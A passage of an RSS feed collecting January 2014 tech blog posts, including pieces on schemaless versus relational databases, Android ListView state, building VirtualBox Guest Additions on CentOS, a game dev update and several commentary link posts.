                &lt;p&gt;&lt;a href="http://ben-evans.com/benedictevans/2014/1/23/the-limits-of-knowledge"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 25 Jan 2014 21:40:18 GMT</pubDate><guid isPermaLink="true">http://ben-evans.com/benedictevans/2014/1/23/the-limits-of-knowledge</guid></item><item><title>The Mac keeps going forever</title><link>http://www.macworld.com/article/2090829/apple-executives-on-the-mac-at-30-the-mac-keeps-going-forever.html</link><description>&lt;p&gt;I generally dislike interviews, but Jason Snell did a great job with this one. With the incredible popularity of the iPhone and, although to a slightly lesser degree, the iPad these days, it&amp;#8217;s easy to disregard the Mac&amp;#8217;s significance. Thankfully, Apple&amp;#8217;s senior leadership does not make that same mistake.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.macworld.com/article/2090829/apple-executives-on-the-mac-at-30-the-mac-keeps-going-forever.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 25 Jan 2014 21:38:26 GMT</pubDate><guid isPermaLink="true">http://www.macworld.com/article/2090829/apple-executives-on-the-mac-at-30-the-mac-keeps-going-forever.html</guid></item><item><title>Python backup script revisited</title><link>https://www.zufallsheld.de/2014/01/25/python-backup-script-revisited/</link><description>&lt;p&gt;&lt;a href="http://zufallsheld.de/2013/09/29/python-backup-script-with-rsync/"&gt;Here&lt;/a&gt; I wrote about my initial attempts with Python. I started with
a backup script for my home-computer because that&amp;#8217;s what I needed at the time.
Now I&amp;#8217;m reviewing and tweaking&amp;nbsp;it.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;
&lt;p&gt;My considerations at the time of writing the initial script&amp;nbsp;were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It should check if the …&lt;/li&gt;&lt;/ul&gt;</description><author>zufallsheld</author><pubDate>Sat, 25 Jan 2014 20:14:29 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/01/25/python-backup-script-revisited/</guid></item><item><title>Rethinking the limits on relational databases</title><link>/2014/01/24/Rethinking-the-limits-on-relational-databases/</link><description>&lt;p&gt;Theres a lot of back and forth on NoSQL databases. The unfortunate part with all the back and forth and unclear definitions of NoSQL is that many of the valuable learnings are lost. This post isn&amp;rsquo;t about the differences in NoSQL definitions, but rather some of the huge benefits that do exist in whats often grouped into the schema-less world that could easily be applied to the relational world.&lt;/p&gt;
&lt;h3 id="forget-migrations"&gt;
&lt;div&gt;
Forget migrations
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Perhaps the best thing about the idea of a schemaless database is that you can just push code and it works. Almost exactly five years ago Heroku shipped &lt;code&gt;git push heroku master&lt;/code&gt; letting you simply push code from git and it just work. CouchDB and MongoDB have done similar for databases&amp;hellip; you don&amp;rsquo;t have to run &lt;code&gt;CREATE TABLE&lt;/code&gt; or &lt;code&gt;ALTER TABLE&lt;/code&gt; migrations before working with your database. There&amp;rsquo;s something wonderful about just building and shipping your application without worrying about migrations.&lt;/p&gt;
&lt;p&gt;This is often viewed as a limitation of relational databases. Yet it doesn&amp;rsquo;t really have to. You see even in schema-less database the relationships are still there, its just you&amp;rsquo;re managing it at the application level. There&amp;rsquo;s no reason higher level frameworks or ORMs couldn&amp;rsquo;t handle the migration process. As it is today the process of adding a column to a relational database is quite straightforward in a sense where it doesn&amp;rsquo;t introduce downtime and is capable of letting the developer still move quickly its just not automatically baked in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Assuming a column thats referenced doesn't exist
# Automatically execute relevant bits in your ORM
# This isn't code meant for you to run
ALTER TABLE foo ADD COLUMN bar varchar(255); # This is near instant
# Set your default value in your ORM
UPDATE TABLE foo SET bar = 'DEFAULT VALUE' WHERE bar IS NULL;
ALTER TABLE foo ALTER COLUMN bar NOT NULL;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Having Rails/Django/(Framework of your choice) automatically notice the need for a column to exist and make appropriate modifications you could work with it the same way you would managing a document relation in your code. Sure this is a manual painful process today, but theres no reason this can&amp;rsquo;t be fully handled by PostgreSQL or directly within an ORM .&lt;/p&gt;
&lt;h3 id="documents"&gt;
&lt;div&gt;
Documents
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The other really strong case for the MongoDB/CouchDB camp is document storage. In this case I&amp;rsquo;m going to equate a document directly to a JSON object. JSON itself is a wonderfully simply model that works so well for portability, and having to convert it within your application layer is well just painful. Yes Postgres has a JSON datatype, and the JSON datatype is continuing to be adopted now by many other relational databases. &lt;em&gt;I was shocked to hear that DB2 is getting support for JSON myself, while I expect improvements to come to it JSON was not at the top of my list&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;And JSON does absolutely make sense as a data type within a column. But thats still a bit limiting as a full document store, what you want in those cases is any query result as a full JSON object. This is heavily undersold within Postgres that you can simply convert a full row to JSON with a &lt;a href="http://www.postgresql.org/docs/9.3/static/functions-json.html"&gt;single function&lt;/a&gt; - &lt;code&gt;row_to_json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Again having higher level frameworks take full advantage so that under the covers you can have your strongly typed tables, but a flexibility to map them to flexible JSON objects makes a great deal of sense here.&lt;/p&gt;
&lt;h3 id="out-of-the-box-interfaces"&gt;
&lt;div&gt;
Out of the box interfaces
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;This isn&amp;rsquo;t a strict benefit of schema-less databases. Some schema-less databases have this more out of the box such as Couch where others less so. The concept of exposing a rest interface is not something new, and has been tried on top of relational databases a &lt;a href="http://htsql.org/"&gt;few times over&lt;/a&gt;. This is clearly something that does need to be delivered. The case for it is pretty clear, it reduces the work of people having to recreate admin screens and gives an easy onboarding process for noobs.&lt;/p&gt;
&lt;p&gt;Unfortunately there&amp;rsquo;s not clear progress on this today for Postgres or other relational databases. In contrast other databases are delivering on this front often from day one :/&lt;/p&gt;
&lt;h3 id="where-to"&gt;
&lt;div&gt;
Where to
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Some of the shifts in schema-less or really in other databases in general are not so large they cannot be subsummed into a broader option. At the same time there are some strong merits such as the ones above which do take an active effort to deliver on expanding what is a &amp;ldquo;relational database&amp;rdquo;.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Fri, 24 Jan 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/01/24/Rethinking-the-limits-on-relational-databases/</guid></item><item><title>Ramping Up</title><link>https://etodd.io/2014/01/24/ramping-up/</link><description>&lt;p&gt;I'm sorry, I've been terrible at keeping everyone up to date with Lemma. If you want to see what I've been up to since Alpha 3, my &lt;a href="http://forums.tigsource.com/index.php?topic=17339.msg925587#msg925587"&gt;TIGSource DevLog&lt;/a&gt; has a few posts you might have missed. Starting now I'll be focusing more on blogging, so expect more posts in the coming days!&lt;/p&gt;
&lt;p&gt;Here are some highlights from the past... gosh. Seven months? Wow.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Player movement has been drastically improved. No more floaty, slow acceleration.&lt;/li&gt;
&lt;li&gt;New auto-respawn system. No more backtracking 10 minutes to the last checkpoint.&lt;/li&gt;
&lt;li&gt;Full Xbox 360 gamepad support&lt;/li&gt;
&lt;li&gt;Major gameplay overhauls. The pistol and energy pickups are gone.&lt;/li&gt;
&lt;li&gt;Major level design overhauls. All but the first level has been thrown out.&lt;a href="https://etodd.io/assets/XozDAJn.jpg"&gt;&lt;img alt="" src="https://etodd.io/assets/XozDAJnl.jpg" /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Four new types of enemies&lt;/li&gt;
&lt;li&gt;New, cleaner textures&lt;a href="https://etodd.io/assets/PgBJ9sA.jpg"&gt;&lt;img alt="" src="https://etodd.io/assets/PgBJ9sAl.jpg" /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;New logo &lt;a href="https://etodd.io/assets/YOhfEUp.png"&gt;&lt;img alt="" src="https://etodd.io/assets/YOhfEUpm.png.jpg" /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://lemmagame.com/"&gt;New website&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is just the beginning. As the title suggests, I'm getting ready to ramp up development in a big way. As such, I found it necessary to upgrade my workspace. I've been using a standing desk at work, and I love it so much that I decided to build one of my own out of $200 of IKEA parts:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 24 Jan 2014 22:41:08 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/01/24/ramping-up/</guid></item><item><title/><link>https://avodonosov.blogspot.com/2014/01/blog-post.html</link><description>How many more years it will take Chrome and FireFox to learn display text properly?&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifM6m5pQ1huGzF7e7tnrhfCi18zpP9bls0xrBbwTPujVbgFkVofXTSXDWVJtll9Duvaz_SQ72nxvigD4fVz-r3CoIH22J1rtGuljjc1uEvx58X1LkzyBoATaClXdA1W9A30KfZ3wSt-7ID/s1600/winter-action.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifM6m5pQ1huGzF7e7tnrhfCi18zpP9bls0xrBbwTPujVbgFkVofXTSXDWVJtll9Duvaz_SQ72nxvigD4fVz-r3CoIH22J1rtGuljjc1uEvx58X1LkzyBoATaClXdA1W9A30KfZ3wSt-7ID/s1600/winter-action.png" /&gt;&lt;/a&gt;&lt;/div&gt;
These are original size screenshots of some page heading.
&lt;br /&gt;
I think such bad results may be achieved if Chrome and FireFox rasterize first and scale after that, instead of scaling first and then rasterizing.
&lt;br /&gt;
To reproduce, here is the code:
&lt;code&gt;
  &amp;lt;h1 style="font-size: 300%; color: #4f81bd; font-style: italic; font-family: 'Times New Roman', Times, serif;"&amp;gt;WINTER ACTION&amp;lt;/h1&amp;gt;
&lt;/code&gt;

&lt;p&gt;&lt;b&gt;Update:&lt;/b&gt; Many people reported FireFox and Chrome render fonts OK for them. &lt;a href="https://news.ycombinator.com/item?id=7113532"&gt;HN comment&lt;/a&gt; and &lt;a href="http://www.blogger.com/profile/00020046357630207412"&gt;tnm91&lt;/a&gt; suggested that DirectWrite may be disabled, due to outdated video driver. It was true, I updated diver and DirectWrite become enabled, but rendered hadn't changed. Then &lt;a href="http://www.blogger.com/profile/16111042635242437277"&gt;sulliwan&lt;/a&gt; suggested to check CliearType - I enabled it and now FireFox and Chrome render text OK.&lt;/p&gt;

&lt;p&gt;Thanks for the help!&lt;/p&gt;</description><author>blog</author><pubDate>Fri, 24 Jan 2014 09:36:21 GMT</pubDate><guid isPermaLink="true">https://avodonosov.blogspot.com/2014/01/blog-post.html</guid></item><item><title>My Road to Gaming</title><link>https://zacs.site/blog/my-road-to-gaming.html</link><description>&lt;p&gt;A few years ago when I decided to start exploring the world of PC gaming, I set out with three criteria: it could not, like major titles such as Call of Duty or Ghost Recon, require a significant amount of capital just for the the privilege of participating in this hobby. Whatever I ended up choosing had to have a low price tag or, preferably, cost nothing at all. Further, my distraction of choice had to run well on a mediocre machine: I refused to suffer through jittery gameplay on an overclocked processor. Finally, it must not require a great deal of time and effort just to attain a reasonable level of proficiency. I had precious little of either to spend gaming, and none if my unwillingness to eschew everything pursuing a skill of arguably practical application meant a thirteen year old who did nothing but tap himself closer to RSI every day would beat me repeatedly. These stringent criteria left me few candidates, primarily small Flash applets like &lt;a href="http://www.miniclip.com/games/heli-attack-3/en/"&gt;Helli Attack 3&lt;/a&gt;&lt;sup id="fnref1"&gt;&lt;a href="#fn1" rel="footnote"&gt;1&lt;/a&gt;&lt;/sup&gt; and &lt;a href="http://www.xgenstudios.com/play/motherload"&gt;Motherload&lt;/a&gt;. As you might imagine, each of these gave back in accordance with the amount of effort I put in; in other words, very little. So I set off in search of something more fulfilling.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/my-road-to-gaming.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 24 Jan 2014 09:32:39 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/my-road-to-gaming.html</guid></item><item><title>Every Company Should Have a #HackNight</title><link>https://kernelcurry.com/blog/company-hack-night/</link><description>&lt;p&gt;For the past year, every Wednesday night at about 6:00 p.m. work stops! Since I have been working for &lt;a href="https://leve.rs/?utm_source=kernelcurry.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog"&gt;Levers&lt;/a&gt; there has been a weekly hack night. To put it simply: &amp;ldquo;Stop your real work and work on something fun!&amp;rdquo;&amp;quot;&lt;/p&gt;
&lt;p&gt;There have been some winning hack night projects and some losing ones. Let&amp;rsquo;s take a look:&lt;/p&gt;
&lt;h3 id="magic-the-gathering-api--winning"&gt;Magic: The Gathering API : (winning)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Author: Michael Curry&lt;/li&gt;
&lt;li&gt;Link: &lt;a href="https://mtgapi.com/?utm_source=kernelcurry.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog"&gt;https://mtgapi.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Description: There was no card API for Magic the Gathering?! I could not stand for that. Over the prod of 3 weeks – only working on hack nights – this service was created and tested, and MTG API was born. This service is available for free to everyone that wants to use it. This was defiantly a hack night project that took on a life of its own.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="travel-blog--winning"&gt;Travel Blog : (winning)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Author: Emily Timm&lt;/li&gt;
&lt;li&gt;Link: &lt;a href="http://aboutgoingoverboard.com/?utm_source=kernelcurry.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog"&gt;AboutGoingOverboard.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Description: Emily took it upon herself to make her own travel blog. She wanted to learn how code came together to make a website and how to merge WordPress into a custom format. After a few hack nights, Emily had her new blog up and running! It is full of amazing posts about places anyone would be lucky to visit.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mirror-your-site--losing"&gt;Mirror Your Site : (Losing)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Author: Michael Curry&lt;/li&gt;
&lt;li&gt;Description: I created a javascript file that would mirror a web page. This worked very well in theory, but not in practice. CSS transitions messed up everything. If it would have worked, it would have been a fun thing to put on a site to mess with your friends, or as a Konami Code.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="twimlbin--winning"&gt;Twimlbin : (winning)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Author: Jonathan Kressaty&lt;/li&gt;
&lt;li&gt;Link: &lt;a href="http://twimlbin.com"&gt;http://twimlbin.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Description: Do you use Twilio? Do you use TwiML? Twimlbin allows you to host TwiML at a static URL without any need for hosting or a web server. This service just recently hit 1 Million requests.
This past year, there have been many ideas between our employees for hack night. Some have been notable and other not so much, but no one can deny the fact that every project brings new knowledge. Hack nights are a great break from the mundane and gives time for motivation to those who need it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Take a break this Wednesday and build something!&lt;/p&gt;</description><author>KernelCurry</author><pubDate>Fri, 24 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kernelcurry.com/blog/company-hack-night/</guid></item><item><title>Maintain ListView Position in Android Application</title><link>https://michaelcarrano.com/blog/maintain-listview-position-in-android-application</link><description>&lt;p&gt;A small and simple feature you can immediately add to your Android application is the functionality of maintaining the &lt;a href="https://developer.android.com/reference/android/widget/ListView.html"&gt;ListView&lt;/a&gt; position. When your user switches to a different Activity/Screen and then back to the ListView, they will not have to scroll through the ListView items again to get back to where they were.&lt;/p&gt;

&lt;p&gt;Android Studio (as well as Eclipse) offers a few nice &lt;a href="https://developer.android.com/tools/projects/templates.html"&gt;default templates via ADT&lt;/a&gt; to get you started with your application and I am going to assume you will be developing off the Master Detail flow template.&lt;/p&gt;

&lt;p&gt;To add this functionality, all we need to do is add a few lines of code to our &lt;a href="https://developer.android.com/reference/android/app/ListFragment.html"&gt;ListFragment&lt;/a&gt;.&lt;/p&gt;

&lt;div class="language-java highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MyListFragment&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;ListFragment&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

   &lt;span class="cm"&gt;/**
    * Stores the scroll position of the ListView
    */&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;Parcelable&lt;/span&gt; &lt;span class="n"&gt;mListViewScrollPos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onViewCreated&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;View&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Bundle&lt;/span&gt; &lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onViewCreated&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    
        &lt;span class="c1"&gt;// Restore the ListView position&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mListViewScrollPos&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;getListView&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;onRestoreInstanceState&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mListViewScrollPos&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;


    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onSaveInstanceState&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Bundle&lt;/span&gt; &lt;span class="n"&gt;outState&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onSaveInstanceState&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outState&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        
        &lt;span class="c1"&gt;// Save the ListView position&lt;/span&gt;
        &lt;span class="n"&gt;mListViewScrollPos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getListView&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;onSaveInstanceState&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By implementing the above code changes, you have just improve the usability of your Android application and I am sure your users will appreciate it. If you want to see this functionality in action, then take a look at the &lt;a href="https://play.google.com/store/apps/details?id=com.michaelcarrano.seven_min_workout"&gt;7 Minute Workout Android application&lt;/a&gt; I have developed.&lt;/p&gt;

&lt;p&gt;One small thing to note, I am not sure how this works if you have implemented an “infinite scroll” functionality in your application. If you know the answer, please comment on the results. However, I do not see why this method would not work.&lt;/p&gt;</description><author>Mobile Software Engineer in NYC.</author><pubDate>Thu, 23 Jan 2014 19:06:33 GMT</pubDate><guid isPermaLink="true">https://michaelcarrano.com/blog/maintain-listview-position-in-android-application</guid></item><item><title>For the Love of Money</title><link>http://www.nytimes.com/2014/01/19/opinion/sunday/for-the-love-of-money.html</link><description>&lt;p&gt;Hat-tip to Shawn Blanc for &lt;a href="http://shawnblanc.net/2014/01/for-the-love-of-money/"&gt;the original link&lt;/a&gt;, former hedge-fund manager Sam Polk talks about his amazing journey from addict college dropout to making nearly four million dollars in a single bonus, to say nothing of his base salary and any other dividends accrued throughout the year. If you, like me and so many others, have ever thought, &amp;#8220;If I could just win the lottery, think of all the great things I could do; all the problems that money would solve&amp;#8221;, you ought to read this; even if you have never thought that, you should still read this. It&amp;#8217;s an incredible and harrow story of wealth, greed, and, ultimately, redemption.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.nytimes.com/2014/01/19/opinion/sunday/for-the-love-of-money.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 23 Jan 2014 17:21:56 GMT</pubDate><guid isPermaLink="true">http://www.nytimes.com/2014/01/19/opinion/sunday/for-the-love-of-money.html</guid></item><item><title>When TED Talks Turn Evil</title><link>http://www.theawl.com/2014/01/what-if-these-seven-famous-ted-talks-are-just-totally-wrong</link><description>&lt;p&gt;Before Benjamin Bratton posted the transcript and then full video of his TEDx talk titled &amp;#8220;&lt;a href="http://www.bratton.info/projects/talks/we-need-to-talk-about-ted/"&gt;We need to talk about TED&lt;/a&gt;&amp;#8221;, I cannot remember ever seeing anyone seriously criticize this group. Now, though, it seems not a week goes by without someone taking a particular speaker or the entire conference to task for some harebrained, far-fetched, and implausible scheme that somehow made it to this once-revered stage. Oh, how the mighty have fallen.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.theawl.com/2014/01/what-if-these-seven-famous-ted-talks-are-just-totally-wrong"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 23 Jan 2014 16:59:41 GMT</pubDate><guid isPermaLink="true">http://www.theawl.com/2014/01/what-if-these-seven-famous-ted-talks-are-just-totally-wrong</guid></item><item><title>Reliably Building VirtualBox Guest Additions on CentOS 6.x</title><link>https://duncanlock.net/blog/2014/01/22/reliably-building-virtualbox-guest-additions-on-centos-6x/</link><description>&lt;p&gt;We use CentOS VMs at work to emulate our production environment - and it took me a while to figure out how to get the VirtualBox Guest Additions to build reliably on CentOS 6.4/5. This is what I&amp;#8217;ve currently settled on as a reliable&amp;nbsp;method.&lt;/p&gt;
&lt;p&gt;First, make sure that you&amp;#8217;ve got the kernel headers and tools installed that you need to build&amp;nbsp;stuff:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;yum update &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;yum &lt;span class="nb"&gt;install &lt;/span&gt;gcc kernel-devel kernel-headers dkms make bzip2 perl&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Make sure that you&amp;#8217;ve only got the current set of kernel headers installed - the one for the kernel you&amp;#8217;re actually running. Having more than one set installed prevents this working properly. Running this should show you one version of each kernel&amp;nbsp;package:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;rpm &lt;span class="nt"&gt;-qa&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;kernel | &lt;span class="nb"&gt;sort&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It should look something like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;dracut-kernel-004-336.el6_5.2.noarch
kernel-2.6.32-431.3.1.el6.x86_64
kernel-devel-2.6.32-431.3.1.el6.x86_64
kernel-firmware-2.6.32-431.3.1.el6.noarch
kernel-headers-2.6.32-431.3.1.el6.x86_64&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;if you have multiple versions of one of the kernel packages installed, it will look something like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;dracut-kernel-004-336.el6_5.2.noarch
kernel-2.6.32-132.1.2.el6.x86_64
kernel-2.6.32-431.3.1.el6.x86_64
kernel-devel-2.6.32-132.1.2.el6.x86_64
kernel-devel-2.6.32-431.3.1.el6.x86_64
kernel-firmware-2.6.32-431.3.1.el6.noarch
kernel-headers-2.6.32-431.3.1.el6.x86_64&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;remove the older&amp;nbsp;ones:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;rpm &lt;span class="nt"&gt;-e&lt;/span&gt; kernel-2.6.32-132.1.2.el6.x86_64 kernel-devel-2.6.32-132.1.2.el6.x86_64&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now we&amp;#8217;re ready to install &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; build the guest additions, so mount the &lt;span class="caps"&gt;CD&lt;/span&gt; by selecting &amp;#8216;Install Guest Additions&amp;#8217; from the VirtualBox menu. Don&amp;#8217;t autorun it - you&amp;#8217;ll need to run the following to install it&amp;nbsp;properly.&lt;/p&gt;
&lt;p&gt;Some of this needs to run as sudo, and we need to export variables that sudo can see, so we&amp;#8217;ll just do all of the following as&amp;nbsp;root:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su -
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;MAKE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'/usr/bin/gmake -i'&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KERN_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/src/kernels/&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;span class="c"&gt;# Change the version number here to whatever is current&lt;/span&gt;
&lt;span class="c"&gt;# cd /media/VB&amp;lt;tab&amp;gt; will probably work&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /media/VBOXADDITIONS_4.3.6_91406/
./VBoxLinuxAdditions.run&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This should build &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; install all the guest additions successfully. If it doesn&amp;#8217;t, let me know in the&amp;nbsp;comments.&lt;/p&gt;</description><author>duncan­lock­.net</author><pubDate>Thu, 23 Jan 2014 05:54:48 GMT</pubDate><guid isPermaLink="true">https://duncanlock.net/blog/2014/01/22/reliably-building-virtualbox-guest-additions-on-centos-6x/</guid></item><item><title>New blog powered by pelican</title><link>https://www.zufallsheld.de/2014/01/22/new-blog-powered-by-pelican/</link><description>&lt;p&gt;I changed my blogging platform from &lt;a href="http://wordpress.org"&gt;Wordpress&lt;/a&gt; to &lt;a href="http://blog.getpelican.com/"&gt;Pelican&lt;/a&gt;.
Pelican is a static html generator written in Python.
I also changed the whole design. It&amp;#8217;s a bootstrap-theme with some little&amp;nbsp;modifications.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;p&gt;The reason I changed from Wordpress is the effort to maintain a secure and up-to-date 
installation opposed to …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Wed, 22 Jan 2014 20:45:39 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/01/22/new-blog-powered-by-pelican/</guid></item><item><title>From CoffeeScript Back to JavaScript</title><link>https://peterlyons.com/problog/2014/01/from-coffeescript-back-to-javascript/</link><description>&lt;p&gt;So after about two years of preferring CoffeeScript for my application code, I'm switching back to JavaScript. Here are some thoughts on my experience.&lt;/p&gt;
